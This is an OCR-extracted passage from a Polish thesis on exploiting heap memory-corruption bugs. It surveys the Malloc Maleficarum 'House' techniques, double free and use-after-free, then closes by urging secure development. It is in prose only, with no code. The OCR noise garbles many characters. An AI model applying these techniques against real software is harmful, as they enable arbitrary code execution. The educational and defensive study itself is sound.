Designer” Peslyaka, zostala wykorzystana w atakach wielu odkrytych podatnosci — od programéw
tj. sudo, traceroute, przez przegladarki internetowe, jadra systemowe, biblioteki obstugujace
multimedia w smartphone’ach, skoficzywszy na oprogramowaniu samochodow, systemach kontroli
procesor przemystowych - SCADA oraz sterownikach kontroli pojazdow i maszyn wojskowych.

4.4.Inne rodzaje naruszen sterty

W ramach prac nad powstrzymaniem atakéw naruszenia sterty poprzez wykorzystanie makra
unlink (), powstata technika zabezpieczajaca, ktora poprzez dodanie stosownych asercji w roku
2004 do kodu biblioteki glibc, okazata si¢ znacznie utrudni¢ dalsze naduzycia tego makra. W wyniku
takich dziatan, specjalisci od bezpieczenstwa komputerowego rozpoczeli badania nad
alternatywnymi sposobami naruszen sterty. Efektem tych praco byto powstanie kilkunastu kolejnych
wariacji niekiedy nie wymagajacych warunku przepetnienia bufora na stercie.
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4.4.1. The Malloc Maleficarum

W pracy napisanej przez autora postugujacego si¢ pseudonimem Phantasmal Phantasmgoria, w
roku 2004, o tytule The Malloc Maleficarum *8 [31], opisano kilka kolejnych technik naduzywania
btedow naruszenia sterty bez potrzeby korzystania z techniki unlink (). Praca ta stanowita jedynie
teoretyczne rozwazania o potencjalnych technikach i dopiero w pracy zatytutowanej Malloc Des-
Maleficarum autor znany jako blackangel przedstawit przyktady zastosowania tych technik. W
swojej pracy, Phantasmal Phantasmgoria nazywa opisane techniki:

® The House of Prime - W ramach pierwszej z nich zaktada si¢ naruszenie wielkosci
zmiennej fastbin maximum size, co w pewnych okolicznosciach pozwoli
atakujagcemu przechwyci¢ strukture sterty co doprowadzi do zwrdcenia w wywolaniu
malloc arbitralnie podanego chunka, lub doprowadzi do wykonania kodu. Technika
rozpoczyna si¢ wykonaniem free () na stercie kontrolowanej przez atakujacego. Tylko
dzigki jednemu wywotaniu funkcji free () mozliwe jest uzyskanie arbitralnego
nadpisania pamigci kontrolowang wartos$cia.

e The House of Mind - Technika przetomowa na tamte czasy, stanowi uogolnienie
poprzedniej. Stosuje ona oszukanie wrapperow funkcji free () poprzez podanie adresu
kontrolowanej przez atakujacego sterty (arena). Takie wywotanie doprowadzi do
arbitralnego nadpisania pamigci.

e The House of Force - Technika polegajaca na atakowaniu chunka wilderness (top
chunka). Funkcja malloc () traktuje w sposob specjalny ten region alokacji, a zatem
region alokacji ten nie powinien nigdy zosta¢ przekazany do funkcji free () . Technika
ta dziala dzigki oszukiwaniu kodu przetwarzajacego wilderness chunk poprzez
podawanie adresu tego chunka (av->top) jako arbitralnej warto$ci, co spowoduje
zwrbcenie aplikacji arbitralnego chunka, kontrolowanego przez atakujacego — po
wywotaniumalloc () ' a.

e The House of Lore - Technika polegajaca na naruszeniu struktury elementu kubetka
co moze doprowadzi¢ do zwrdcenia przez malloc () adresu arbitralnego chunka.
Opisano w jej ramach dwa sposoby naruszenia struktury elementu malego i duzego
kubetka (smallbin, large bin). Ogdlne podejsScie zaktada nadpisanie danych listy
dwukierunkowej poprzednio zwolnionego bloku.

e The House of Spirit - Technika pozwalajaca zarowno naduzy¢ stosu jak i sterty
poprzez kontrolowanie warto$ci przekazywanej funkcji free (). Ogodlny zamyst
sprowadza si¢ do nadpisania wskaznika poprzednio zwroconego przezmalloc () , ktory
nastepnie zostanie przekazany do funkcji free () . Taka sytuacja moze doprowadzi¢ do
podiaczenia do fastbina arbitralnego adresu. Kolejne wywotanie malloc () moze
zakonczy¢ si¢ zwrOceniem adresu tak kontrolowanego chunka. W pewnych
okolicznos$ciach moze si¢ to zakonczy¢ przekierowaniem przeptywu sterowania — czyli
przejeciem kontroli nad programem.

e The House of Chaos - Czg$¢ pracy opisujgca ten fragment stanowi zasadniczo poezj¢
kierowang do specjalistow od bezpieczenstwa komputerowego, ktora swoim sensem
wprowadza konkluzje calej pracy.

18 Nazwa odwotuje sie do antycznego tekstu ,,Malleus Maleficarum” (,,Mfot na czarownice™). Byt to traktat o
magii spisany przez inkwizytora w roku 1487. Uznany wtenczas zostal jako podrecznik towcoOw czarownic i
w efekcie traktowany byt jako kompendium wiedzy.
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4.4.2. Double free ()

W pracy [27] autor Justin N. Ferguson opisat technike, ktora jak sam stwierdzit — stanowi
unikatowy przyktad sytuacji w informatyce, gdzie wykonanie jednej operacji dwukrotnie moze mie¢
tak katastrofalne skutki. Cho¢ blad polegajacy wowczas na podwdjnym zwolnieniu tego samego
bloku pamigci mogt wydawaé si¢ niegroznym, w rzeczywistosci prowadzil do uszkodzenia
zawarto$ci pamigci i wykonania dowolnego kodu wprowadzonego przez atakujacego. Jednakze z
uwagi na stosunkowo dobra implementacje alokatora na wigkszos$ci platform, tylko na nielicznych
btad ten stanowit podatnos¢ bezpieczenstwa. Podatnosci tej klasy odnalezione zostaly miedzy innymi
w bibliotece zlib, ktora zwalniata dwukrotnie zmienng globalng, gdy pojawiat si¢ pewien btad w
procesie dekompresji [24]. Ten sam blad zostat réwniez wykryty w kodzie serwera CVS.

443, Use-After-Free

Btad tej klasy oznacza sytuacj¢, w ktorej nastgpuje odwotanie do zasobu uprzednio zwolnioneg0
przy pomocy funkcji free () . Taka sytuacja moze prowadzi¢ do uszkodzenia pamigci, nadpisania
roznych specyficznych miejsc pamigci jak np. wskaznikéw metod przetadowanych w obrgbie tzw.
wirtualnych tablic funkcji polimorficznych: vftable, ktére pozwalaja programom napisanym w
jezyku C++ odwotywaé sie do odpowiednich implementacji funkcji na drodze polimorfizmu.
Efektem takiego nadpisania oczywiscie bedzie sytuacja wykonania dowolnego kodu.

Bledy tej klasy maja najczesciej miejsce gdy w réznych czg$ciach programu uzywa si¢ wielu
wskaznikéw przechowujacych dynamicznie zaalokowana przestrzen i jeden z nich zostaje
zwolniony, ale pozniej przez btad w algorytmie — ponownie nastepuje odwotanie do niego. Znajac
wielko$¢ regionu pamigci, mozemy manipulowaé sterta tak by umiesci¢ kontrolowane dane w
zwalnianym bloku pamigci przed ponownym wykorzystaniem. Gdy owe nastapi, blok pamigci
bedzie zawieral kontrolowane przez atakujgcego dane, co moze doprowadzi¢ do przejecia sterowania
programu. Btedy tej klasy szczegdlnie czesto znajdujg zastosowanie w atakowaniu przegladarek,
ktore styna z probleméw w zarzadzaniu pamiegcia sterty alokowanag na potrzeby utrzymywania
modelu DOM stron internetowych. Rowniez czestym miejscem wystepowania tego typu probleméw
jest kod iosa — z ktorych wykorzystania styng jailbreak’i., czyli specjalne programy
wykorzystujace podatno$¢ w systemie w celu obejscia jego zabezpieczen i umozliwienia dowolnych

modyfikacji systemowych.

4.5. Podsumowanie

W tym rozdziale przedstawiono podstawy i teori¢ stojaca za blgdami naruszen sterty. Sam wstgp
teoretyczny powinien dawaé poglad, ze ten obszar bledow w oprogramowaniu jest wyjatkowo
trudnym do zrozumienia, o czym moze $wiadczy¢ fakt, ze techniki te ewoluujg juz kilkanascie lat i
nadal nie zostaly w prosty sposob zazegnane. Bledy naruszen stosu stanowia obecnie najwickszy
odsetek atakow na oprogramowanie (zwlaszcza bledy klasy use-after-free), zuwagi na trudnosé
w pisaniu kodu, ktory nie popelniatby niekiedy niezwykle subtelnych pomylek. Ponadto, poprzez
brak $wiadomosci programistow o potencjalnych zagrozeniach, czesto tworzony kod zdaje si¢ nie
przewidywac¢ zadnych sytuacji krancowych, lub okazywaé¢ kompletnego braku zaufania do
pobieranych z zewnatrz danych. Takie wtasnie sytuacje prowokuja do atakow.
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5. Podsumowanie

Mimo iz niniejsza praca zawiera ponad sto stron, stanowi ona jedynie wierzchotek gory lodowej
jaka sg dziedziny bughuntingu i exploit developmentu, specyficznych, bardzo wymagajacych,
technicznie i wykraczajacych poza standardowe myslenie analityczne dziedziny w branzy
bezpieczenstwa komputerowego. Tytul tej pracy mowi o wykorzystaniu bledow naruszen pamigci i
tego typu techniki zostaly zaprezentowane jak i omowione. Sg to techniki opierajace si¢ najczesciej
na obserwacji pewnych pomytek programistycznych popetnionych w kodzie, ktore ostatecznie moga
doprowadzi¢ do uzyskania kontrolowanego naruszenia struktur pamieci procesu, a to za§ moze
doprowadzi¢ do przeprowadzenia udanego ataku na oprogramowanie. By dobrze zrozumie¢ sens
opisanych technik, konieczne sg czgsto lata badan, eksperymentow i przeprowadzenia wielu choéby
kontrolowanych atakéw. Krzywa uczenia w tym przypadku jest na tyle stroma, ze z jednej strony
trzyma wielu specjalistow bezpieczenstwa na dystans od wyszukiwania btgdow w oprogramowaniu,
a z drugiej strony wabi najwybitniejsze umysty, zdolne do kreatywnego analizowania konsekwencji
roznych ciagdw instrukcji maszynowych, co przetozy¢ si¢ bedzie miato na kreatywne wykorzystanie
tychze instrukcji we wiasnych celach.

Poprzez wykorzystanie bledu rozumie¢ bedziemy sytuacje, w ktorej na skutek podania danych
pochodzacych z niezaufanego zrédta, uda si¢ wprowadzi¢ program w stan, ktorego istnienia nie
przewidywatl projektant / programista tego systemu. W sytuacji, w ktorej program znajduje si¢ w
stanie niebezpiecznym, nieprzewidzianym w specyfikacji — mozliwe jest wprowadzenie do takiego
stanu innych programéw, lub catych systemow, a wigc rozszerzenia zakresu kompromitacji,
wywotanego pierwotnie przez jedna pomylke programistyczng. Z sytuacja nharuszenia pamigci
spotkamy si¢ zawsze wtedy, kiedy nie wystapia stosowne mechanizmy ochrony zawartosci i dostepu
do pamigci. Brak kontroli dlugos$ci, formatu i wartosci dostarczanych systemowi danych, brak
walidowania zasadnos$ci dostarczonych danych, pomylki przy korzystaniu z mechanizméw dostepu
do pamigci, omyltkowe podwojne dealokacje, uzywanie zasobow po zwolnieniu — na skutek by¢
moze zbyt zlozonych algorytmoéw, lub blednie napisanych programéw — to wszystko moze
prowadzi¢ do daleko idacych naruszen. W ramach tychze, niezaufany uzytkownik danego
oprogramowania moze przejagé¢ nad nim kontrolg, zwigkszy¢ wlasne uprawnienia, wykras¢ poufne
informacje, zmodyfikowa¢ dzialanie systemu na swoja korzys¢, itd. Pewnym jest, ze tego typu
sytuacje beda niepozadanymi nie tylko dla projektantow systemowych, ale rowniez dla koncowych
uzytkownikow, niemajacych zlosliwych zamiarow. Wszak oprogramowanie podatne, z ktérego
korzysta np. 10% populacji $wiata, otwiera droge do atakow na cala t¢ grupe uzytkownikow. Wobec
tego niezwyKile istotne jest by dba¢ o bezpieczenstwo produkowanego kodu.

W tym celu, firma Microsoft wprowadzita tzw. spDL — Secure Development Lifecycle, czyli cykl
bezpiecznego rozwoju oprogramowania. W ramach takiej polityki tworzenia kodu, kazdy nowo
napisany kod poddawany jest wielokrotnym inspekcjom, dyskusjom, przegladom, oraz prébom
ataku przez wykwalifikowang kadre i stosowne oprogramowanie fuzzujgce'®. Wprowadzenie tej
polityki przyniosto firmie Microsoft bardzo duze uznanie wsérdd ekspertow bezpieczenstwa
komputerowego. Obecnie trudnym jest znalezienie prawdziwie fatalnych w skutkach bledow
bezpieczenstwa wynikajacych z pomylek programistycznych, gdyz po prostu tego typu pomyltki sg
wychwytywane w drodze intensywnych analiz kodu. Sytuacja stala si¢ o tyle kuriozalna, ze osoby
zajmujace si¢ zawodowo wyszukiwaniem btedow w oprogramowaniu, wypowiadaja si¢ otwarcie, ze
jedyne czym mogg si¢ teraz zajmowaé to wyszukiwaniem i testowaniem starego kodu gdyz ten
NoOwo pisany najczesciej nie jest obiecujaco podatny.

19 Ang. Fuzzing — technika atakowania programow poprzez podawanie im olbrzymiej ilosci subtelnie mutowanych
danych wejsciowych, tak by przejrze¢ mozliwie jak najwiekszy graf kodu programu.

104



Niemniegj jednak, bardzo waznym jest szerzenie wiedzy o technikach opisanych na famach tej
pracy, gdyz wraz z gwattownym rozwojem informatyki, drastycznym wzrostem zapotrzebowania
przez spoteczenstwo nowego oprogramowania, zatrudnianych jest coraz wiecej programistow. Przy
rownie gwaltownym toku rozwoju technologii, bibliotek programistycznych, rozwigzan i
framework’ow, coraz trudniejszym staje si¢ dla programistéw zdobywanie wiedzy w innych
dziedzinach, ktore posrednio tylko miatyby wzbogaci¢ ich wiedze i umiejetnosci. Jedna z takich
dziedzin jest branza bezpieczenstwa komputerowego. Oprogramowanie ma by¢ pisane szybko i
swiadczy¢ ma duzg funkcjonalno$¢, czesto niestety kosztem bezpieczenstwa. Bezpieczenstwo nie
idzie w parze z wygoda, a juz na pewno koliduje z wydatkami.
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